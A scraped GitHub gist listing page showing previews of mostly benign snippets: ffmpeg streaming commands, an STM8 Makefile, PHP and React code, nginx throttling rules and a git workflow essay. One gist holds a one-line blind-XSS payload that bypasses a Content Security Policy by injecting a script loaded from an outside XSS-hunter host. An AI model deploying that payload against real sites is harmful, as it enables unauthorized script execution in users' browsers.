Skip to content

Instantly share code, notes, and snippets.

View woodworker's full-sized avatar
💭
Brömpf!

Martin Holzhauer woodworker

💭
Brömpf!
View GitHub Profile
@Rhynorater
Rhynorater / gist:311cf3981fda8303d65c27316e69209f
Last active January 3, 2024 07:00
BXSS - CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
@MichaelKreil
MichaelKreil / ffmpeg4matelight.sh
Last active April 7, 2024 23:22
using ffmpeg to stream videos, gifs, the webcam or the screen to matelight
# Stream a video
ffmpeg -re -i video.avi -vf "scale=40:ih*40/iw, crop=40:16" -f rawvideo -vcodec rawvideo -sws_flags bilinear -pix_fmt rgb24 - > /dev/udp/matelight.cbrp3.c-base.org/1337
# Loop a gif
ffmpeg -re -ignore_loop 0 -i image.gif -vf "scale=40:ih*40/iw, crop=40:16" -f rawvideo -vcodec rawvideo -sws_flags bilinear -pix_fmt rgb24 - > /dev/udp/matelight.cbrp3.c-base.org/1337
# Stream webcam
# Mac
ffmpeg -re -f avfoundation -r 30 -s 1280x720 -i "0" -vf "scale=40:ih*40/iw, crop=40:16, pp=autolevels:f, eq=1.5" -f rawvideo -vcodec rawvideo -sws_flags bilinear -pix_fmt rgb24 - > /dev/udp/matelight.cbrp3.c-base.org/1337
@Craga89
Craga89 / react-select-allowCreate.js
Created February 6, 2016 19:58
A workaround for react-select 1.0.0 to implement allowCreate functionality
let isSelected = (values, selectedValue) => {
if (!values || values.length < 1) {
return false;
}
for (let { value } of values) {
if (selectedValue === value) {
return true;
}
}
@opalenic
opalenic / Makefile
Created September 1, 2015 23:05
Template Makefile project for STM8 SDCC builds
SDCC = sdcc
STM8FLASH = stm8flash
CHIP = STM8S003
CHIP_LCASE = $(shell echo $(CHIP) | tr '[:upper:]' '[:lower:]')
CFLAGS = -lstm8 -mstm8 -L./libsrc/build/ -lstm8s_periph.lib -I./libsrc/inc -D$(CHIP) -DUSE_STDPERIPH_DRIVER
MAIN_SOURCE = launcher
<?php
namespace igorw\lusp;
// all functions return a pair of [val, env]
function evaluate($expr, $env = []) {
if (is_string($expr)) {
if (is_numeric($expr)) {
$val = (float) $expr;
@kyledrake
kyledrake / ferengi-plan.txt
Last active July 10, 2024 18:51
How to throttle the FCC to dial up modem speeds on your website using Nginx
# The blog post that started it all: https://neocities.org/blog/the-fcc-is-now-rate-limited
#
# Current known FCC address ranges:
# https://news.ycombinator.com/item?id=7716915
#
# Confirm/locate FCC IP ranges with this: http://whois.arin.net/rest/net/NET-165-135-0-0-1/pft
#
# In your nginx.conf:
location / {
@mcuadros
mcuadros / gist:9560576
Last active August 29, 2015 13:57
Mongator Benchmarks @ HHVM + Mongofill

Mongator Benchmarks @ HHVM + Mongofill

Mongator is a simple MongoDB ODM to claims to be 3x faster than Doctrine, now thanks to Mongofill a pure PHP implementation of MongoDB driver, is possible run this package under HHVM.

The benchmarks, are based on athletic.

The native version uses the standard mongo driver, and HHVM is running the lastest mastver version with Mongofill ae5c155 + bson-hni 0.0.1

A bencmarks of a plain version of mongofill can be found at https://gist.github.com/mcuadros/9551290

@jbenet
jbenet / simple-git-branching-model.md
Last active June 17, 2024 14:53
a simple git branching model

a simple git branching model (written in 2013)

This is a very simple git workflow. It (and variants) is in use by many people. I settled on it after using it very effectively at Athena. GitHub does something similar; Zach Holman mentioned it in this talk.

Update: Woah, thanks for all the attention. Didn't expect this simple rant to get popular.

@woodworker
woodworker / raw.html
Last active December 20, 2015 18:19
GitHub Bookmark Plugin
<li>
<div class="select-menu js-menu-container js-select-menu">
<span class="minibutton select-menu-button js-menu-target">
Bookmark
</span>
<div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax="">
<?php
class Foo {
public $bar;
function __construct($bar)
{
$this->bar = $bar;
}
}